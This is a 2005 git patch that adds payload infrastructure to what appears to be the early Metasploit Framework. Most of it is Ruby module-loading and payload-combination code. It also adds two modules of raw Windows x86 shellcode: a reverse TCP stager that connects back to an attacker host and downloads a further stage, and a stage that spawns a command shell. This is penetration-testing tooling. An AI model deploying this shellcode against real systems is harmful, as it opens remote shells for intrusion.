From 40e36360a17fea1b93d7170b32ad8fb3c8f28448 Mon Sep 17 00:00:00 2001 From: Matt Miller Date: Sat, 9 Jul 2005 00:24:02 +0000 Subject: [PATCH] started hacking on payload stuff git-svn-id: file:///home/svn/incoming/trunk@2679 4d416f70-5f16-0410-b530-b9f4589650da --- lib/msf/core.rb | 1 + lib/msf/core/module.rb | 49 ++++- lib/msf/core/module/platform_list.rb | 4 + lib/msf/core/module_manager.rb | 45 ++++- lib/msf/core/payload.rb | 153 +++++++++++++++ lib/msf/core/payload/single.rb | 20 ++ lib/msf/core/payload/stager.rb | 41 ++++ lib/msf/core/payload_set.rb | 181 ++++++++++++++++++ lib/msf/ui/console/command_dispatcher/core.rb | 4 + .../payloads/stagers/windows/reverse_tcp.rb | 54 ++++++ modules/payloads/stages/windows/shell.rb | 43 +++++ msfconsole | 3 + 12 files changed, 590 insertions(+), 8 deletions(-) create mode 100644 lib/msf/core/payload.rb create mode 100644 lib/msf/core/payload/single.rb create mode 100644 lib/msf/core/payload/stager.rb create mode 100644 lib/msf/core/payload_set.rb diff --git a/lib/msf/core.rb b/lib/msf/core.rb index ba411d52497b..e78d619cb27e 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -30,4 +30,5 @@ require 'Msf/Core/Encoder' require 'Msf/Core/Exploit' require 'Msf/Core/Nop' +require 'Msf/Core/Payload' require 'Msf/Core/Recon' diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index cbd313a0173c..76f0c7e05858 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -183,13 +183,60 @@ def merge_info(info, opts) if (self.respond_to?("merge_info_#{name.downcase}")) eval("merge_info_#{name.downcase}(info, val)") else - # merge it cool style + # If the info hash already has an entry for this name + if (info[name]) + # If it's not an array, convert it to an array and merge the + # two + if (info[name].kind_of?(Array) == false) + curr = info[name] + info[name] = [ curr, val ] + # Otherwise, just append this item to the array entry + else + info[name] << val + end + # Otherwise, just set the value equal if no current value + # exists + else + info[name] = val + end end } return info end + # + # Merge aliases with an underscore delimiter + # + def merge_info_alias(info, val) + merge_info_string(info, 'Alias', val, '_') + end + + # + # Merges the module name + # + def merge_info_name(info, val) + merge_info_string(info, 'Name', val) + end + + # + # Merges the module description + # + def merge_info_description(info, val) + merge_info_string(info, 'Description', val) + end + + # + # Merges a given key in the info hash with a delimiter + # + def merge_info_string(info, key, val, delim = ', ') + if (info[key]) + info[key] = val + delim + info[key] + else + info[key] = val + end + end + # # Merges options # diff --git a/lib/msf/core/module/platform_list.rb b/lib/msf/core/module/platform_list.rb index 807092c956ea..8faec9f546ba 100644 --- a/lib/msf/core/module/platform_list.rb +++ b/lib/msf/core/module/platform_list.rb @@ -34,6 +34,10 @@ def initialize(*args) from_a(args) if (args.length) end + def empty? + return platforms.empty? + end + def from_a(ary) ary.each { |a| if a.kind_of?(String) diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index f2c28438a951..2d463eaa92ab 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -68,6 +68,10 @@ def each_module(opts = {}, &block) } end + # Dummy placeholder to relcalculate aliases and other fun things + def recalculate + end + attr_reader :module_type, :full_names protected @@ -110,6 +114,8 @@ def add_module(short_name, full_name, module_class) ### class ModuleManager < ModuleSet + require 'Msf/Core/PayloadSet' + def initialize() self.module_paths = [] self.module_history = {} @@ -117,7 +123,14 @@ def initialize() self.module_sets = {} MODULE_TYPES.each { |type| - self.module_sets[type] = ModuleSet.new(type) + case type + when MODULE_PAYLOAD + instance = PayloadSet.new(self) + else + instance = ModuleSet.new(type) + end + + self.module_sets[type] = instance } super @@ -176,6 +189,7 @@ def remove_module_path(path) # module type) def load_modules(path) loaded = {} + recalc = {} Find.find(path) { |file| @@ -200,13 +214,12 @@ def load_modules(path) # Use the de-pluralized version of the type as necessary type = md[1].sub(/s$/, '').downcase - # Extract the module namespace md = path_base.match(/^(.*)#{File::SEPARATOR}(.*?)$/) next if (!md) # Prefix Msf to the namespace - namespace = 'Msf::' + md[1].sub(File::SEPARATOR, "::") + namespace = 'Msf::' + md[1].gsub(File::SEPARATOR, "::") dlog("Loading #{type} module from #{path_base}...", 'core', LEV_1) @@ -263,6 +276,9 @@ def load_modules(path) # right associations on_module_load(type, added) + # Set this module type as needing recalculation + recalc[type] = true + # Append the added module to the hash of file->module loaded[file] = added } @@ -275,6 +291,12 @@ def load_modules(path) # Cache the loaded file module associations module_history.update(loaded) + # Perform any required recalculations for the individual module types + # that actually had load changes + recalc.each_key { |key| + module_sets[key].recalculate + } + return loaded.values end @@ -314,10 +336,19 @@ def on_module_load(type, mod) mod_short_name = md[2] end - # Add the module class to the list of modules and add it to the - # type separated set of module classes - add_module(mod_short_name, mod_full_name, mod) - + # Payload modules require custom loading as the individual files + # may not directly contain a logical payload that a user would + # reference, such as would be the case with a payload stager or + # stage. As such, when payload modules are loaded they are handed + # off to a special payload set. The payload set, in turn, will + # automatically create all the permutations after all the payload + # modules have been loaded. + if (type != MODULE_PAYLOAD) + # Add the module class to the list of modules and add it to the + # type separated set of module classes + add_module(mod_short_name, mod_full_name, mod) + end + module_sets[type].add_module(mod_short_name, mod_full_name, mod) end diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb new file mode 100644 index 000000000000..6ab862e78c1b --- /dev/null +++ b/lib/msf/core/payload.rb @@ -0,0 +1,153 @@ +require 'Msf/Core' + +module Msf + +### +# +# Payload +# ------- +# +# This class represents the base class for a logical payload. The framework +# automatically generates payload combinations at runtime which are all +# extended for this Payload as a base class. +# +### +class Payload < Msf::Module + + require 'Msf/Core/Payload/Single' + require 'Msf/Core/Payload/Stager' + + # Payload types + module Type + Single = (1 << 0) + Stager = (1 << 1) + Stage = (1 << 2) + end + + ## + # + # Accessors + # + ## + + # This module is a payload. + def type + return MODULE_PAYLOAD + end + + # Returns the string of bad characters for this payload, if any. + def badchars + return self.module_info['BadChars'] + end + + # Returns the type of payload, either single or staged. Stage is + # the default because singles and stagers are encouraged to include + # the Single and Stager mixin which override the payload_type. + def payload_type + return Type::Stage + end + + # Returns the payload's size. If the payload is staged, the size of the + # first stage is returned. + def size + return ((p = generate())) ? p.length : 0 + end + + # Returns the raw payload that has not had variable substitution occur. + def payload + return module_info['Payload'] + end + + # Returns the offsets to variables that must be substitute, if any. + def offsets + return module_info['Offsets'] + end + + # Return the connection associated with this payload, or none if there + # isn't one. + def connection + return module_info['Connection'] || "None" + end + + ## + # + # Generation & variable substitution + # + ## + + # Generates the payload and return the raw buffer + def generate + raw = payload + + # If the payload is generated and there are offsets to substitute, + # do that now. + if (raw and offsets) + substitute_vars(raw, offsets) + end + + return raw + end + + # Substitutes variables with values from the module's datastore in the + # supplied raw buffer for a given set of named offsets. For instance, + # RHOST is substituted with the RHOST value from the datastore which will + # have been populated by the framework. + def substitute_vars(raw, offsets) + offsets.each_pair { |name, info| + offset, pack = info + + # Give the derived class a chance to substitute this variable + next if (replace_var(raw, name, offset, pack)) + + # Now it's our turn... + if ((val = datastore[name])) + if (pack == 'ADDR') + val = Socket.resolv_nbo(host) + elsif (pack == 'RAW') + # Just use the raw value... + else + val = [ val ].pack(pack) + end + + # Substitute it + raw[offset, val.length] = val + else + wlog("Missing value for payload offset #{name}, skipping.", + 'core', LEV_1) + end + } + end + + # Replaces an individual variable in the supplied buffer at an offset + # using the given pack type. This is here to allow derived payloads + # the opportunity to replace advanced variables. + def replace_var(raw, name, offset, pack) + return nil + end + + # Payload prepending and appending for various situations + attr_accessor :prepend, :append, :prepend_encoder + +protected + + ## + # + # Custom merge operations for payloads + # + ## + + # + # Merge the name to prefix the existing one and separate them + # with a comma + # + def merge_name(info, val) + if (info['Name']) + info['Name'] = val + ',' + info['Name'] + else + info['Name'] = val + end + end + +end + +end diff --git a/lib/msf/core/payload/single.rb b/lib/msf/core/payload/single.rb new file mode 100644 index 000000000000..3f85e1de8d60 --- /dev/null +++ b/lib/msf/core/payload/single.rb @@ -0,0 +1,20 @@ +require 'Msf/Core' + +### +# +# Single +# ------ +# +# Base mixin interface for use by single payloads. Single +# payloads are differentiated from stagers and stages by the +# fact that they run as part of the first stage and have +# no subsequent stages. +# +### +module Msf::Payload::Single + + def payload_type + return Msf::Payload::Type::Single + end + +end diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb new file mode 100644 index 000000000000..d86940934147 --- /dev/null +++ b/lib/msf/core/payload/stager.rb @@ -0,0 +1,41 @@ +require 'Msf/Core' + +### +# +# Stager +# ------ +# +# Base mixin interface for use by stagers. +# +### +module Msf::Payload::Stager + + def payload_type + return Msf::Payload::Type::Stager + end + + # Return the stager payload's raw payload + def payload + return module_info['StagerPayload']['Payload'] + end + + # Return the stager payload's offsets + def offsets + return module_info['StagerPayload']['Offsets'] + end + + # Returns the raw stage payload + def stage_payload + return module_info['StagePayload']['Payload'] + end + + # Returns variable offsets within the stage payload + def stage_offsets + return module_info['StagePayload']['Offsets'] + end + + # Aliases + alias stager_payload payload + alias stager_offsets offsets + +end diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb new file mode 100644 index 000000000000..97da447ee72e --- /dev/null +++ b/lib/msf/core/payload_set.rb @@ -0,0 +1,181 @@ +require 'Msf/Core' +require 'Msf/Core/ModuleManager' + +module Msf + +### +# +# PayloadSet +# ---------- +# +# This class is a special case of the generic module set class because +# payloads are generated in terms of combinations between various +# components, such as a stager and a stage. As such, the payload set +# needs to be built on the fly and cannot be simply matched one-to-one +# with a payload module. Yeah, the term module is kind of overloaded +# here, but eat it! +# +### +class PayloadSet < ModuleSet + + def initialize(manager) + super(MODULE_PAYLOAD) + + # A reference to the ModuleManager instance + self.manager = manager + + # A hash of each of the payload types that holds an array + # for all of the associated modules + self.payload_type_modules = {} + end + + # Build the actual hash of alias names based on all the permutations + # of singles, stagers, and stages + def recalculate + # Reset the current hash associations + full_names.clear + alias_names.clear + ambiguous_names.clear + self.clear + + # Recalculate single payloads + singles.each { |p| + mod, name, connection = p + + # Get the payload's client-side handler + handler = get_payload_handler(connection) + + # Build the payload dupe using the determined handler + # and module + p = build_payload(handler, mod) + + # Associate this class with the single payload's name + self[name] = p + + dlog("Built single payload #{name}.", 'core', LEV_1) + } + + # Recalculate stagers and stages + stagers.each { |p| + stager_mod, stager_name, stager_conn, stager_platform, stager_arch = p + + # Walk the array of stages + stages.each { |p| + stage_mod, stage_name, stage_conn, stage_platform, stage_arch = p + + # No intersection between architectures on the payloads? + if ((stager_arch) and + (stage_arch) and + ((stager_arch & stage_arch).empty?)) + dlog("Stager #{stager_name} and stage #{stage_name} have incompatible architectures:", + 'core', LEV_3) + dlog(" Stager: #{stager_arch.join}.", 'core', LEV_3) + dlog(" Stage: #{stage_arch.join}.", 'core', LEV_3) + end + + # No intersection between platforms on the payloads? + if ((stager_platform) and + (stage_platform) and + (stager_platform & stage_platform).empty?) + dlog("Stager #{stager_name} and stage #{stage_name} have incompatible platforms:", + 'core', LEV_3) + dlog(" Stager: #{stager_platform.join}.", 'core', LEV_3) + dlog(" Stage: #{stage_platform.join}.", 'core', LEV_3) + end + + # Get the connection handler for the stager's connection + handler = get_payload_handler(stager_conn) + + # Build the payload dupe using the handler, stager, + # and stage + p = build_payload(handler, stager_mod, stage_mod) + + # Associate the name as a combination of the stager and stage + combined = stager_name + '_' + stage_name + + self[combined] = p + + dlog("Built staged payload #{combined}.", 'core', LEV_1) + } + } + end + + # Return the array of single payloads + def singles + return payload_type_modules[Payload::Type::Single] || [] + end + + # Return the array of stager payloads + def stagers + return payload_type_modules[Payload::Type::Stager] || [] + end + + # Return the array of stage payloads + def stages + return payload_type_modules[Payload::Type::Stage] || [] + end + + # Called when a new payload module class is loaded up. For the payload + # set we simply create an instance of the class and do some magic to figure + # out if it's a single, stager, or stage. Depending on which it is, we + # add it to the appropriate list + def add_module(short_name, full_name, pmodule) + + # Duplicate the Payload base class and extend it with the module + # class that is passed in. This allows us to inspect the actual + # module to see what type it is, and to grab other information for + # our own evil purposes. + instance = build_payload(pmodule).new + + # Create and insert this module class into the array for + # its respective module type + if (!payload_type_modules[instance.payload_type]) + payload_type_modules[instance.payload_type] = [] + end + + # Store the module and alias name for this payload. We + # also convey other information about the module, such as + # the platforms and architectures it supports + payload_type_modules[instance.payload_type] << + [ + pmodule, + instance.alias, + instance.connection, + instance.platform, + instance.arch + ] + end + +protected + + # Returns the handler class responsible for the provided connection + # type. + def get_payload_handler(connection) + return nil # TODO + end + + # Builds a duplicate, extended version of the Payload base + # class using the supplied modules. + def build_payload(*modules) + klass = Class.new(Payload) + include_str = '' + + modules.each { |mod| + # Skip nil modules + next if (!mod) + + include_str += "include #{mod}\n" + } + + # Evalulate the module includes and rock the house + klass.class_eval(include_str) + + return klass + end + + + attr_accessor :manager, :payload_type_modules + +end + +end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 0429c3072617..13afa147a60f 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1,4 +1,5 @@ require 'Msf/Ui/Console/CommandDispatcher/Encoder' +require 'Msf/Ui/Console/CommandDispatcher/Nops' module Msf module Ui @@ -32,6 +33,7 @@ def cmd_exit(args) alias cmd_quit cmd_exit + # Displays the command help banner def cmd_help(args) all_commands = {} @@ -201,6 +203,8 @@ def cmd_use(args) case mod.type when MODULE_ENCODER dispatcher = Encoder + when MODULE_NOPS + dispatcher = Nops end if (dispatcher != nil) diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb index e69de29bb2d1..556cb6dd3065 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -0,0 +1,54 @@ +require 'Msf/Core' + +module Msf +module Payloads +module Windows +module IA32 +module Stager + +module ReverseTcp + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows IA32 Stager: Reverse TCP', + 'Alias' => 'win32_reverse_stg', + 'Version' => '$Revision$', + 'Description' => 'Connect back to the attacker and download another stage', + 'Author' => 'hdm', + 'Platform' => 'win', + 'Arch' => ARCH_IA32, + 'Connection' => 'ReverseTcp', + 'StagerPayload' => + { + 'Offsets' => + [ + 'LHOST' => [ 221, 'ADDR' ], + 'LPORT' => [ 228, 'n' ], + ], + 'Payload' => + "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c" + + "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32" + + "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07" + + "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24" + + "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8" + + "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64" + + "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x8e" + + "\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00\x01\x00\x00\x57\x56\x53" + + "\x89\xe5\xe8\x1f\x00\x00\x00\x90\x01\x00\x00\xb6\x19\x18\xe7\xa4" + + "\x19\x70\xe9\xec\xf9\xaa\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x57" + + "\x53\x32\x5f\x33\x32\x00\x5b\x8d\x4b\x18\x51\xff\xd7\x89\xdf\x89" + + "\xc3\x8d\x75\x14\x6a\x05\x59\x51\x53\xff\x34\x8f\xff\x55\x04\x59" + + "\x89\x04\x8e\xe2\xf2\x2b\x27\x54\xff\x37\xff\x55\x28\x31\xc0\x50" + + "\x50\x50\x50\x40\x50\x40\x50\xff\x55\x24\x89\xc7\x68\x7f\x00\x00" + + "\x01\x68\x02\x00\x22\x11\x89\xe1\x6a\x10\x51\x57\xff\x55\x20\x59" + + "\x59\x81\xec\x00\x10\x00\x00\x89\xe3\x6a\x00\x68\x00\x10\x00\x00" + + "\x53\x57\xff\x55\x18\x81\xec\x00\x04\x00\x00\xff\xd3" + } + )) + end + +end + +end end end end end diff --git a/modules/payloads/stages/windows/shell.rb b/modules/payloads/stages/windows/shell.rb index e69de29bb2d1..adad209a8331 100644 --- a/modules/payloads/stages/windows/shell.rb +++ b/modules/payloads/stages/windows/shell.rb @@ -0,0 +1,43 @@ +require 'Msf/Core' + +module Msf +module Payloads +module Windows +module IA32 +module Stage + +module Shell + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Stage: Shell', + 'Alias' => 'shell', + 'Version' => '$Revision$', + 'Description' => 'Spawn a command shell', + 'Author' => 'hdm', + 'Platform' => 'win', + 'Arch' => ARCH_IA32, + 'StagePayload' => + { + 'Offsets' => + [ + 'EXITFUNC' => [ 103 + 28, 'V' ] + ], + 'Payload' => + "\xe8\x09\x00\x00\x00\x41\x44\x56\x41\x50\x49\x33\x32\x00\xff\x55" + + "\x08\x50\x68\x2a\xc8\xde\x50\xff\x55\x04\xff\xd0" + + "\x68\x43\x4d\x44\x00\x89\xe3\x87\xfa\x31\xc0\x8d\x7c\x24\xac\x6a" + + "\x15\x59\xf3\xab\x87\xfa\x83\xec\x54\xc6\x44\x24\x10\x44\x66\xc7" + + "\x44\x24\x3c\x01\x01\x89\x7c\x24\x48\x89\x7c\x24\x4c\x89\x7c\x24" + + "\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49\x51\x51\x53" + + "\x51\xff\x75\x00\x68\x72\xfe\xb3\x16\xff\x55\x04\xff\xd0\x89\xe6" + + "\xff\x75\x00\x68\xad\xd9\x05\xce\xff\x55\x04\x89\xc3\x6a\xff\xff" + + "\x36\xff\xd3\xff\x75\x00\x68\x7e\xd8\xe2\x73\xff\x55\x04\x31\xdb" + + "\x53\xff\xd0" + } + )) + end + +end + +end end end end end diff --git a/msfconsole b/msfconsole index 9ba668872a71..ec0ee5034e88 100755 --- a/msfconsole +++ b/msfconsole @@ -1,5 +1,8 @@ #!/usr/bin/ruby -I../Lib +require 'Rex' require 'Msf/Ui' +register_log_source('core', Rex::Logging::Sinks::Flatfile.new('/tmp/msfcli.log')) + Msf::Ui::Console::Driver.new.run